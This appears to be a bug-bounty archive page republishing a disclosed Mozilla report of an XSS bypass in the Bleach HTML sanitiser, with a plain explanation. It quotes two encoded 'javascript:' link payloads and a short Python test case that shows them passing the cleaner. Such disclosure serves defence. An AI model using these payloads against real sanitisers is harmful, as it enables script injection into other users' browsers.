Skip to content
XSS Disclosed report Intermediate

Bleach sanitization bypass

Bleach, a Python HTML sanitisation library, failed to block JavaScript URLs when they contained encoded control characters such as a tab or a carriage return. An attacker could craft a link that bypasses the sanitiser and executes script when clicked.

Daniel Veditz Follow

Originally disclosed on Mozilla

  • Fixed in 12 days
  • Paid in 17 days
  • Disclosed after 12 days
Text
"stef" reported a sanitization bypass in bleach to the security mailing address. Since issues at https://github.com/mozilla/bleach are public filing this security issue here for now.

--- from stef's mail -------------

during an audit I found a way to circumvent the user input sanitizer bleach.

the following simple obfuscations allow the circumvention of bleach:

<a href="javas&#x09;cript:alert(1)">alert</a>
<a href="&#14;javascript:alert(1)">alert</a>

minimal testcase:

#!/usr/bin/env python3

import bleach
from bleach.sanitizer import Cleaner

cleaner = Cleaner(
    tags=bleach.sanitizer.ALLOWED_TAGS,
    attributes=bleach.sanitizer.ALLOWED_ATTRIBUTES,
    styles=bleach.sanitizer.ALLOWED_STYLES,
    protocols=bleach.sanitizer.ALLOWED_PROTOCOLS,
    strip=True,
    strip_comments=True,
)

print(cleaner.clean('<a href="javas&#x09;cript:alert(1)">alert</a>'))
print(cleaner.clean('<a href="&#14;javascript:alert(1)">alert</a>'))

The original report as published on Mozilla's Bugzilla, by Daniel Veditz. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could inject a link that executes arbitrary JavaScript in a victim's browser when clicked, potentially leading to session theft or other client-side attacks.

What the attacker needed

Victim clicks a crafted link

How it was found

  1. Create a Bleach Cleaner with default allowed tags, attributes, styles, and protocols.
  2. Pass a link whose href contains an encoded tab inside 'javascript:'.
  3. Observe that the cleaned output still contains the dangerous link.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Bleach is a tool that cleans HTML to remove dangerous parts. It checks links to make sure they don't start with 'javascript:', which would run code. The researcher found that by hiding a tab or carriage return inside the word 'javascript', the check was fooled and the dangerous link got through.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Daniel Veditz

View all

13 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.